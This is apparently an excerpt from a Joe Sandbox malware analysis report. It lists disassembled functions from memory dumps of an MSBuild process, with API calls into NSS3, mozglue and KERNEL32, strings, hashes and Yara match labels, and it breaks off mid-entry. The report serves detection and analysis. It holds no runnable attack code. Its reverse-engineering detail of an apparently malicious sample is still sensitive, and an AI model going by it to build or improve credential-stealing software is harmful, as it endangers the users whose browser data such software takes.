Instruction ID: 935c43270f4d77db60209791427c9bc320832430a8ecb60128fe957c4bbf0321
Opcode Fuzzy Hash: 641b289af0baeaab8b9a5171f60c0491d104b74c17f1ced00544f24bd9ae676e
Instruction Fuzzy Hash: 1511EB32B04A35ABCF217F36BC0475A37A4AF403A5F60443BF948DB251DA7CC99186AC

Function 6CBECD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CC01E10: TlsGetValue.KERNEL32 ref: 6CC01E36
Part of subcall function 6CC01E10: EnterCriticalSection.KERNEL32(?,?,?,6CBDB1EE,2404110F,?,?), ref: 6CC01E4B
Part of subcall function 6CC01E10: PR_Unlock.NSS3 ref: 6CC01E76

free.MOZGLUE(?,6CBED079,00000000,00000001), ref: 6CBECDA5
PK11_FreeSymKey.NSS3(?,6CBED079,00000000,00000001), ref: 6CBECDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CBED079,00000000,00000001), ref: 6CBECDCF
DeleteCriticalSection.KERNEL32(?,6CBED079,00000000,00000001), ref: 6CBECDE2
free.MOZGLUE(?), ref: 6CBECDE9

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: fcfb0be73fd48c80319d9516edfb2b1a98a6f5e37272f793ff9d1733fe731c99
Instruction ID: cbf734ac8ab90b130d51fd771759fdb7d8e34c2e4e7ccafd3f281e6d05101e89
Opcode Fuzzy Hash: fcfb0be73fd48c80319d9516edfb2b1a98a6f5e37272f793ff9d1733fe731c99
Instruction Fuzzy Hash: 3A11C6B2B01251ABEB00AF65EC85996BB7CFF486A87104131EA1987E01E732F474C7D2

Function 6CC52CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC55B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC55B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC52CEC

Part of subcall function 6CC6C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC6C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC52D02
PR_EnterMonitor.NSS3(?), ref: 6CC52D1F
PR_ExitMonitor.NSS3(?), ref: 6CC52D42
PR_ExitMonitor.NSS3(?), ref: 6CC52D5B

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 6165dbcec0a7da47a640c3026084291ec44fb8bbfbfa16ae8dbd1b8452389f99
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: B701C4B5A012009BEA309F26FC44BC7B7E1EF45318F404565E85A86B21F732F835C796

Function 6CC52D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC55B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC55B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC52D9C

Part of subcall function 6CC6C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC6C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC52DB2
PR_EnterMonitor.NSS3(?), ref: 6CC52DCF
PR_ExitMonitor.NSS3(?), ref: 6CC52DF2
PR_ExitMonitor.NSS3(?), ref: 6CC52E0B

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: db9832e21fd1c81b233fa817c5620ef85953f2a3902459f50f233218c4f09b67
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: B701C4B1A012009BEA309F26FC45BC7B7E1EF45318F400435E85A86B11F732F835C696

Function 6CCDADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CCDA6D8), ref: 6CCDAE0D
free.MOZGLUE(?), ref: 6CCDAE14
DeleteCriticalSection.KERNEL32(6CCDA6D8), ref: 6CCDAE36
free.MOZGLUE(?), ref: 6CCDAE3D
free.MOZGLUE(00000000,00000000,?,?,6CCDA6D8), ref: 6CCDAE47

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 07936321b7137d0f74dd27c14adcea790028aaeb9c6c3b6644f3db0f891ccea3
Instruction ID: 5dae01709f90186ed2e1fede47bd98fc90f604d990abbf40740829e4885a5bf8
Opcode Fuzzy Hash: 07936321b7137d0f74dd27c14adcea790028aaeb9c6c3b6644f3db0f891ccea3
Instruction Fuzzy Hash: 7AF0F675201A02ABDA119F68E84991777BCBFC67747100338E22A83D40E731F122C7D1

Function 00426839 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00426845

Part of subcall function 00424A74: __getptd_noexit.LIBCMT ref: 00424A77
Part of subcall function 00424A74: __amsg_exit.LIBCMT ref: 00424A84

__getptd.LIBCMT ref: 0042685C
__amsg_exit.LIBCMT ref: 0042686A
__lock.LIBCMT ref: 0042687A
__updatetlocinfoEx_nolock.LIBCMT ref: 0042688E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction ID: 17361057c0d52ffbfdd5451dd0703f081e16a6d4bb330f32ad13174130427518
Opcode Fuzzy Hash: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction Fuzzy Hash: E7F09676F417309AD621BB7A7403B5E76A0AF00769F92425FF4106A2D2CF6C9980CA5D

Function 6CACD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CADCBE8: GetCurrentProcess.KERNEL32(?,6CAA31A7), ref: 6CADCBF1
Part of subcall function 6CADCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAA31A7), ref: 6CADCBFA

EnterCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CADD1C5), ref: 6CACD4F2
LeaveCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CADD1C5), ref: 6CACD50B

Part of subcall function 6CAACFE0: EnterCriticalSection.KERNEL32(6CB2E784), ref: 6CAACFF6
Part of subcall function 6CAACFE0: LeaveCriticalSection.KERNEL32(6CB2E784), ref: 6CAAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CADD1C5), ref: 6CACD52E
EnterCriticalSection.KERNEL32(6CB2E7DC), ref: 6CACD690
LeaveCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CADD1C5), ref: 6CACD751

Strings

MOZ_CRASH(), xrefs: 6CACD4BB

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: db4119635228df5c9bbedaad86d65499adaaccfb0bb214b833b565e628580a6b
Instruction ID: 6aa7308814ed828ccf4e0754a1e336e8eb9561df132ee66913d065ae76a0cc38
Opcode Fuzzy Hash: db4119635228df5c9bbedaad86d65499adaaccfb0bb214b833b565e628580a6b
Instruction Fuzzy Hash: CD510171B04B418FD314CF29C19066AB7E5FB89318F554A2ED5AAC7B84DB74E884CB82

Function 6CAFB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAE3EBD,6CAE3EBD,00000000), ref: 6CAA42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CAFB127), ref: 6CAFB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CAFB4E4

Strings

pid:, xrefs: 6CAFB4DE

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: ef405c4136359eb43cd3f6a049be7b3a0601268f156c651f72de24643361cc94
Instruction ID: bd23c15f1cad9aca740dacf97f3ee48e1608986643f0e2435a246d8abb4aafbc
Opcode Fuzzy Hash: ef405c4136359eb43cd3f6a049be7b3a0601268f156c651f72de24643361cc94
Instruction Fuzzy Hash: 1F312A31A01204CFDB00DFA9E980AEEB775FF05319F580619E46267A41D735E8CACBE1

Function 00410077 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0041009A

Part of subcall function 0042ED18: std::exception::exception.LIBCMT ref: 0042ED2D
Part of subcall function 0042ED18: __CxxThrowException@8.LIBCMT ref: 0042ED42
Part of subcall function 0042ED18: std::exception::exception.LIBCMT ref: 0042ED53

__EH_prolog3_catch.LIBCMT ref: 00410139
std::_Xinvalid_argument.LIBCPMT ref: 0041014D

Strings

vector<T> too long, xrefs: 00410095, 00410148

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8H_prolog3_catchThrow
String ID: vector<T> too long
API String ID: 2448322171-3788999226
Opcode ID: 1419926136d60580067ac53f468ac34c9755c723ec9afb86ab4f57807058201c
Instruction ID: 755d422b0406570ec1b1ca0bb8a9fc170e0e76cf90744f0537cefae681ccfb55
Opcode Fuzzy Hash: 1419926136d60580067ac53f468ac34c9755c723ec9afb86ab4f57807058201c
Instruction Fuzzy Hash: 6331B632B503269BDB18EF69AC456EE77E29705311F51106FE520E7290D6BE9EC08B88

Function 004134D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004134F7
StrCmpCA.SHLWAPI(00000000,004367EC,?), ref: 00413523
strtok_s.MSVCRT ref: 00413589

Strings

yA, xrefs: 004134E9, 004134EC

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: yA
API String ID: 3330995566-454502181
Opcode ID: 0a5a2c7c2122c5fde08efb15dbd5b8a7581154b05120f6610f4b5857c0dd4555
Instruction ID: e25e2a4fac4fdaa3031c2764c7a521eb05de7460a47cf09186ea45e794858a97
Opcode Fuzzy Hash: 0a5a2c7c2122c5fde08efb15dbd5b8a7581154b05120f6610f4b5857c0dd4555
Instruction Fuzzy Hash: D6219571D00109BFCB18DF64C881ADABBADFF18705F11905BE809EB251E774DB858B98

Function 6CB56C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB56D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB56D20
%s at line %d of [%.10s], xrefs: 6CB56D2F
database corruption, xrefs: 6CB56D2A

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 258a80c0926c9dcb95ba239091cd39ca46ddaca1e36849617f9ad1b38d3fb2ed
Instruction ID: e6b72897b1004a7bd9fec4561c12466648d097d94a4c5cff0b1f0a5cbcddce6f
Opcode Fuzzy Hash: 258a80c0926c9dcb95ba239091cd39ca46ddaca1e36849617f9ad1b38d3fb2ed
Instruction Fuzzy Hash: D0214530A043559BC720CF19C841B5AB7F2EF80318F64892CD8499BF90E771F959CBA2

Function 00413390 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004133AF
StrCmpCA.SHLWAPI(00000000,004367E0,?), ref: 004133E8

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

strtok_s.MSVCRT ref: 00413424

Strings

2yA, xrefs: 004133A1, 004133A4

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: 2yA
API String ID: 348468850-663247701
Opcode ID: ab0f24262003b4c6fdb1df3be14b33564e9d911830fd1b95aa49f2419afa3619
Instruction ID: 530b5b9384520956d988ef5f9eef14088f7e00acaaf5feba0a58aa85cdec459f
Opcode Fuzzy Hash: ab0f24262003b4c6fdb1df3be14b33564e9d911830fd1b95aa49f2419afa3619
Instruction Fuzzy Hash: 74118171900115AFDB01DF54C945BDAB7BCBF1430AF119067E805EB192EB78EF988B98

Function 6CC8CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CC8CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC8CC7B), ref: 6CC8CD7A
Part of subcall function 6CC8CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC8CD8E
Part of subcall function 6CC8CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC8CDA5
Part of subcall function 6CC8CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC8CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CC8CCB5
memcpy.VCRUNTIME140(6CD214F4,6CD202AC,00000090), ref: 6CC8CCD3
memcpy.VCRUNTIME140(6CD21588,6CD202AC,00000090), ref: 6CC8CD2B

Part of subcall function 6CBA9AC0: socket.WSOCK32(?,00000017,6CBA99BE), ref: 6CBA9AE6
Part of subcall function 6CBA9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CBA99BE), ref: 6CBA9AFC

Part of subcall function 6CBB0590: closesocket.WSOCK32(6CBA9A8F,?,?,6CBA9A8F,00000000), ref: 6CBB0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CC8CCB0

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 0a02db2dab366fe85f10ba87e48856ff9f7f0d42478f2a296a03e53a7ec4def4
Instruction ID: ff5f78ac22e552d8e1defe439d1198b8606464a962489b7419ba8d9bfa44fd05
Opcode Fuzzy Hash: 0a02db2dab366fe85f10ba87e48856ff9f7f0d42478f2a296a03e53a7ec4def4
Instruction Fuzzy Hash: D8116DF1A002405EFB409F5998067563ABCA746298F1591BAE70A8BB51F67AEC04CBD2

Function 0040F27D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F282

Part of subcall function 0042ED18: std::exception::exception.LIBCMT ref: 0042ED2D
Part of subcall function 0042ED18: __CxxThrowException@8.LIBCMT ref: 0042ED42
Part of subcall function 0042ED18: std::exception::exception.LIBCMT ref: 0042ED53

std::_Xinvalid_argument.LIBCPMT ref: 0040F28D

Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042ED7A
Part of subcall function 0042ED65: __CxxThrowException@8.LIBCMT ref: 0042ED8F
Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042EDA0

Strings

string too long, xrefs: 0040F27D
invalid string position, xrefs: 0040F288

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: be79a2a7e9aaca69112733cb54712ed9ea9badf19c2d7797a33f7b9a263133be
Instruction ID: 277dc4e046663c8ecaa9b12b995e3b45fe52676ed53db3f7bdcff30859ae9fca
Opcode Fuzzy Hash: be79a2a7e9aaca69112733cb54712ed9ea9badf19c2d7797a33f7b9a263133be
Instruction Fuzzy Hash: 31D0C2B565020CBBCB04E7AAE8069CDB6E89F48700F20016BE700E3241EA7456004559

Function 00411D61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
HeapAlloc.KERNEL32(00000000), ref: 00411D73
wsprintfW.USER32 ref: 00411D84

Strings

%hs, xrefs: 00411D7E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
